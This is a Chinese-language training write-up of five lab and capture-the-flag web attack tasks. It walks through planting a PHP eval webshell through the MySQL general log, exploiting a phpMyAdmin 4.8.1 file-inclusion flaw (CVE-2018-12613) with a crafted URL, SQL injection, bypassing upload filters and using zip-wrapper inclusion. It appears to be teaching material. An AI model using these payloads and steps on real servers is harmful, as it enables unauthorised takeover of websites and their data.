目录
[实训任务1 漏洞攻击实战一](#实训任务1 漏洞攻击实战一)
[实训任务2 漏洞攻击实战二](#实训任务2 漏洞攻击实战二)
[实训任务3 白云新闻搜索](#实训任务3 白云新闻搜索)
[实训任务4 手速要快](#实训任务4 手速要快)
[实训任务5 包罗万象](#实训任务5 包罗万象)
今天的实训目的是为了:了解漏洞攻击的一般步骤;掌握SQL注入的基本原理;掌握XSS攻击的基本原理;掌握文件上传的基本原理;掌握文件包含的基本原理;能根据漏洞原理展开攻击。
实训任务1 漏洞攻击实战一

1.打开之后我们先用御剑对这个靶机站点进行扫描

2.可以发现可疑地址phpmyadmin/index.php
3.这里发现了数据库的登录地址,我们弱口令爆破一下得到用户名和密码都是root
4.进数据库之后先查看是否开启日志功能以及日志文件的保存路径,若未开启将其开启
可以利用sql语句
"SHOW VARIABLES LIKE 'general%'"
"set global general_log = "ON";"
5.向日志中写入一句话木马"select '<?php @eval($_POST[1]);?>'"
6.寻找网站在服务器上的绝对地址,由于在linux中mysql数据库的日志与web目录的用户权限是分开的,我们此时还无法通过目录地址访问该日志文件
再次查看我们御剑扫描的后台,发现info.php这里应该存放着各种的版本信息等


打开后可以发现我们的绝对地址
7.执行命令"set global general_log_file=' C://xxx//xxx//xxx//shell.php';"
修改日志文件存储路径和文件名
8.重新写入php一句话木马"select '<?php @eval($_POST[1]);?>'"
9.最后使用webshell管理工具连接创建的shell.php文件,控制服务器。
实训任务2 漏洞攻击实战二

1.第一步和任务一类似先对靶机进行扫描
发现可以可以目录www.zip和phpmyadmin

www.zip可能是由于管理员偷懒,将网站内容定期压缩的来的,因此在www.zip中我们仔细查找后在/common/config发现数据库的账号密码
2.登录网站数据库后,查看数据库管理系统的版本号,为4.8.1
该版本存在安全漏洞。
参考内容:phpMyAdmin 4.8.x 本地文件包含漏洞利用 | Vulnspy Blog
3.利用 CVE-2018-12613 进行 getshell。向 shell.php 文件中写入一句话木马执行SELECT "<?php file_put_contents('shell.php','<?php @eval($_POST[1]);?>');?>"
4.phpmyadmin的session会保存近期执行过的sql语句,F12查看sessionID

5.根据漏洞利用原理:以此构造url如下:http://xxx.xx.xx.xxx:xxx/phpmyadmin/index.php?target=db_sql.php%253f/../../../../../../../../var/lib/php/sessions/sess_获取到的sessionID
6.使用webshell管理工具连接创建的shell.php文件,控制服务器。
实训任务3 白云新闻搜索

显然这里应该是一个post的sql注入使用' or 1=1发现有弹窗报错
直接F12,F1大法禁用JS
之后按步骤进行注入即可
实训任务4 手速要快

打开要登录,在网络里可以看到password
登录进去后有白名单过滤,将一句话木马文件改为Webshell.php.png上传即可
实训任务5 包罗万象
1.在url中发现有数据,修改upload,确定是个文件包含

2.将一句话木马压缩zip

3.修改url=包含刚刚上传的zip文件,

4.分析报错信息发现zip后还有.php,这时使用%23过滤后发现还存在问题,在%23后加上压缩包里面的php文件名即可

5.再次利用ZIP伪协议解压缩上传的zip文件上传webshell,后获取webshell的实际地址,使用蚁剑连接,查找flag
总结
1.在拿到靶机时首先可以进行目录扫描,查看是否存在可以目录
2.在存在过滤时可以尝试双写等方式绕过
3.存在前端JS过滤时可以直接禁用